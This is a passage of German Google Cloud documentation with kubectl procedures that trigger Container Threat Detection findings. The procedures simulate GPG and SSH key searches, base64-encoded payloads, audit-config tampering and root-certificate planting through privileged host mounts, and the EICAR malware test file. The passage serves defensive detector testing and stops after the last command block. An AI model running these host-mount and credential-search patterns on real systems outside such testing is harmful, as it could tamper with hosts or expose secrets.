Damit ein Credential Access: GPG Key Reconnaissance-Ergebnis ausgelöst wird, muss eine Binärdatei, die Dateiinhalte durchsuchen kann, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in find (oder ein anderes geeignetes Suchdienstprogramm wie grep) um. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster für private Schlüssel oder Passwörter oder Inhaltsmuster für Passwörter oder Secrets angeben. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch, GPG-Sicherheitsschlüssel zu finden, beobachtet wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
      
    • ARM-Knoten:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
      

Bei diesem Testverfahren wird ein Credential Access: GPG Key Reconnaissance-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Damit ein Credential Access: Search Private Keys or Passwords-Ergebnis ausgelöst wird, muss eine Binärdatei, die Dateiinhalte durchsuchen kann, in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. Es kopiert /bin/ls und benennt es in find (oder ein anderes geeignetes Suchdienstprogramm wie grep) um. Die umbenannte Binärdatei wird dann mit Argumenten ausgeführt, die ein Suchmuster für private Schlüssel oder Passwörter oder Inhaltsmuster für Passwörter oder Secrets angeben. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, vertrauliche Informationen wie private Schlüssel oder Passwörter in einer containerisierten Umgebung zu finden.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • ARM-Knoten:

      tag="ktd-test-search-private-keys-or-pw-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Bei diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Base64 ELF File Command Line

Damit ein Defense Evasion: Base64 ELF File Command Line-Ergebnis ausgelöst wird, muss ein Prozess base64 als Argument und f0VMRgIB als Argument haben, wobei es sich um die base64-codierte Form von ELF handelt. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. base64 wird dann mit den Argumenten -d und f0VMRgIB ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • ARM-Knoten:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

Bei diesem Testverfahren werden zwei Defense Evasion: Base64 ELF File Command Line-Ergebnisse erstellt, die Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren. Es werden zwei Ergebnisse erstellt, da sowohl der ursprüngliche bash -c-Befehl als auch die Ausführung des base64 -d-Befehls die Ergebniskriterien erfüllen.

Defense Evasion: Base64 Encoded Python Script Executed

Damit ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und aW1wb3J0IH als Argument haben, das die base64-codierte Form von python -c ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument aW1wb3J0IH ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • ARM-Knoten:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Base64 Encoded Shell Script Executed

Damit ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis ausgelöst wird, muss ein Prozess echo oder base64 als Argument und IyEvYmluL2Jhc2gK als Argument haben, das die base64-codierte Form von #!/bin/bash ist. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. echo wird dann mit dem Argument IyEvYmluL2Jhc2gK ausgeführt. Diese Aktion wird als verdächtig gekennzeichnet, da sie das Verhalten nachahmt, das beim Versuch beobachtet wird, Binärdaten zu decodieren, um schädlichen Code auszuführen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei für das Suchtool wie find mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • ARM-Knoten:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Linux-Audit-System deaktivieren oder ändern (Vorschau)

Wenn Sie eine Erkennung vom Typ „Linux-Audit-System deaktivieren oder ändern“ auslösen möchten, ändern Sie eine der Audit-Konfigurationsdateien des Hosts. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, das Stammdateisystem des Hosts im Container bereitgestellt und dann /etc/systemd/journald.conf geändert.

Dies ist ein Detektor für das Dateimonitoring und unterliegt spezifischen GKE-Versionsanforderungen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Binärdatei aus, die eine der auditbezogenen Konfigurationsdateien des Hosts ändert, z. B. /etc/systemd/journald.conf.

    • x86-Knoten:

      tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • ARM-Knoten:

      tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Dieses Testverfahren löst ein Disable or Modify Linux Audit System-Ergebnis aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging ansehen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Defense Evasion: Compiler-Tool für Code im Container gestartet

Damit ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis (Vorschau) ausgelöst wird, muss ein Code-Compiler-Tool in einem Container ausgeführt werden. In diesem Beispiel wird das neueste Ubuntu 24.04-Image verwendet. /bin/ls wird kopiert und in gcc10 (oder einen anderen Compiler wie clang) umbenannt. Dieses Verhalten wird als verdächtig gekennzeichnet, da es auf einen Versuch hindeuten kann, bösartigen Code im Container zu kompilieren und auszuführen, um die Erkennung zu umgehen oder das Verhalten zu ändern.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Führen Sie eine Compiler-Binärdatei wie gcc10 mit den entsprechenden Argumenten aus:

    • x86-Knoten:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • ARM-Knoten:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Bei diesem Testverfahren wird ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging ansehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Defense Evasion: Root-Zertifikat installiert (Vorschau)

Wenn Sie die Erkennung „Root-Zertifikat installiert“ auslösen möchten, erstellen Sie auf dem Host eine Root-Zertifikatsdatei aus einem Container. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt und das Stammdateisystem des Hosts im Container bereitgestellt. Anschließend wird eine leere Zertifikatsdatei in einem entsprechenden Verzeichnis erstellt.

Dies ist ein Detektor für das Dateimonitoring und unterliegt spezifischen GKE-Versionsanforderungen.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Zertifikatsdatei aus einem Container auf dem Host installieren.

    • x86-Knoten:

      tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • ARM-Knoten:

      tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Dieses Testverfahren löst das Ergebnis „Root-Zertifikat installiert“ aus, das Sie im Security Command Center und, wenn Sie Logging für Container Threat Detection konfiguriert haben, in Cloud Logging aufrufen können. Das Aufrufen von Ergebnissen in Cloud Logging ist nur möglich, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center auf Organisationsebene aktivieren.

Ausführung: hinzugefügtes schädliches Binärprogramm ausgeführt

So lösen Sie das Ergebnis „Ausführung: hinzugefügtes schädliches Binärprogramm ausgeführt“ aus: Legen Sie ein schädliches Binärprogramm in Ihrem Container ab und führen Sie es aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und die Binärdatei eine EICAR-Testdatei ist, die von der Threat Intelligence als schädlich eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Legen Sie die EICAR-Binärdatei ab und führen Sie sie aus:

    • x86-Knoten:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Bei diesem Testverfahren wird das Ergebnis „Execution: Added Malicious Binary Executed“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: hinzugefügte schädliche Bibliothek geladen

So lösen Sie das Ergebnis „Ausführung: hinzugefügte schädliche Bibliothek geladen“ aus: Fügen Sie Ihrem Container eine schädliche Bibliothek hinzu und laden Sie sie. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Bibliothek erstellt und dann mit mmap geladen. Das Laden der Bibliothek ist unerwartet, da die simulierte schädliche Bibliothek nicht Teil des ursprünglichen Container-Images war und die Bibliothek eine EICAR-Testdatei ist, die von Threat Intelligence als schädlich eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Fügen Sie die EICAR-Datei hinzu und laden Sie sie:

    • x86-Knoten:

      tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /tmp/test_mal_lib;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
            sleep 10"
      
    • ARM-Knoten:

      tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
      "$tag" -- sh -c "
            apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
            echo -n '$eicar' > /tmp/test_mal_lib;
            cat << 'EOF' > /tmp/loader.c
      #include <fcntl.h>
      #include <sys/mman.h>
      #include <sys/stat.h>
      #include <unistd.h>
      #include <stdlib.h>
      int main(int argc, char *argv[]) {
         int fd = open(argv[1], O_RDONLY);
         if (fd == -1) return 1;
         struct stat sb;
         if (fstat(fd, &sb) == -1) return 1;
         void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
         if (addr == MAP_FAILED) return 1;
         write(1, addr, sb.st_size);
         munmap(addr, sb.st_size);
         close(fd);
         return 0;
      }
      EOF
            gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
            sleep 10"
      

Bei diesem Testverfahren wird das Ergebnis „Ausführung: Schädliche Bibliothek hinzugefügt“ erstellt, das Sie im Security Command Center und in Cloud Logging aufrufen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: hinzugefügter schädlicher Skill ausgeführt

Wenn Sie ein Execution: Added Malicious Skill Executed-Ergebnis auslösen möchten, fügen Sie Ihrem Container eine schädliche Skill-Binärdatei hinzu und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine simulierte schädliche Datei erstellt und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei nicht Teil des ursprünglichen Container-Images war und die Binärdatei einen bestimmten Test-Hash enthält, der von Threat Intelligence als schädliche Fähigkeit eingestuft wurde.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Fügen Sie die Binärdatei für den schädlichen Skill hinzu und führen Sie sie aus:

    • x86-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /tmp/test_mal_file && chmod 700 /tmp/test_mal_file && /tmp/test_mal_file && sha256sum /tmp/test_mal_file"
      
    • ARM-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /tmp/test_mal_file && chmod 700 /tmp/test_mal_file && /tmp/test_mal_file && sha256sum /tmp/test_mal_file"
      

Bei diesem Testverfahren wird ein Execution: Added Malicious Skill Executed-Ergebnis erstellt, das Sie im Security Command Center und in Cloud Logging sehen können, wenn Sie Logging für Container Threat Detection konfiguriert haben. Das Ansehen von Ergebnissen in Cloud Logging ist nur verfügbar, wenn Sie die Premium- oder Enterprise-Stufe von Security Command Center aktivieren.

Ausführung: Geänderter schädlicher Skill ausgeführt

Wenn Sie ein Execution: Modified Malicious Skill Executed-Ergebnis auslösen möchten, ändern Sie eine vorhandene Binärdatei mit einer schädlichen Skill-Binärdatei in Ihrem Container und führen Sie sie aus. In diesem Beispiel wird das neueste Ubuntu 24.04-Image bereitgestellt, eine Systemdatei (/etc/issue) mit einer simulierten schädlichen Datei überschrieben und dann ausgeführt. Die Ausführung der Binärdatei ist unerwartet, da die simulierte schädliche Binärdatei einen bestimmten Testhash enthält, der von Threat Intelligence als schädliche Fähigkeit eingestuft wird.

  1. Umgebungsvariablen festlegen

  2. Verwenden Sie Cloud Shell, um auf den Cluster-Steuerungsebene zuzugreifen:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Ändern Sie eine Systemkomponente mit der schädlichen Skill-Binärdatei und führen Sie sie aus:

    • x86-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-modified-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /etc/issue && chmod 700 /etc/issue && /etc/issue && sha256sum /etc/issue"
      
    • ARM-Knoten:

      b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
      tag="ktd-test-modified-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo '$b64_payload' | base64 -d > /etc/issue && chmod 700 /etc/issue && /etc/issue && sha256sum /etc/issue"
      

